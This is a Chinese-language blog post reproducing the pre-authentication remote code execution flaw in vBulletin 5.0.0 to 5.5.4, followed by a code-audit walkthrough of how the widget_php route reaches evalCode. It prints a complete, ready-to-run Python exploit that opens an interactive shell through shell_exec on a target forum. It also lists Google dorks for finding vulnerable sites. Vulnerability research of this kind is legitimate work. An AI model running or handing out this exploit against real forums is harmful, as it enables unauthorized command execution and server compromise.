vBulletin5-x前台代码执行漏洞(复现)

前言

vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。它使用目前发展速度最快的 Web 脚本语言编写: PHP,并且基于以高效和疾速著称的数据库引擎 MySQL

PS: 没有debug的审计都是耍流氓

漏洞成因

前台代码执行漏洞

未做过滤将传入的post或get参数注册为模板变量

EXP

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

漏洞分析

依据poc进行代码审计

传入参数值params = {"routestring":"ajax/render/widget_php"},全搜索routestring参数。

1569410140614

可以通过分析类,application参数。定位到index.php第35行。跟进execute方法

1569410223281

跟进该类callRender方法,第266行,'template' => 'widget_php','arguments' => array('routestring'=>'ajax/render/widget_php','widgetConfig[code]'=>'echo shell_exec(cmd); exit;')

1569410438063

将传入的$_POST或者$_GET注册为全局变量

1569411645369

\core\install\vbulletin-style.xml

在满足if条件执行以下代码

{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}

1569411277129

includes\vb5\frontend\controller\bbcode.php 调用evalCode方法,传入参数widgetConfig.code,即我们传入的恶意代码

1569413461091

参考链接

https://xz.aliyun.com/t/6419


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!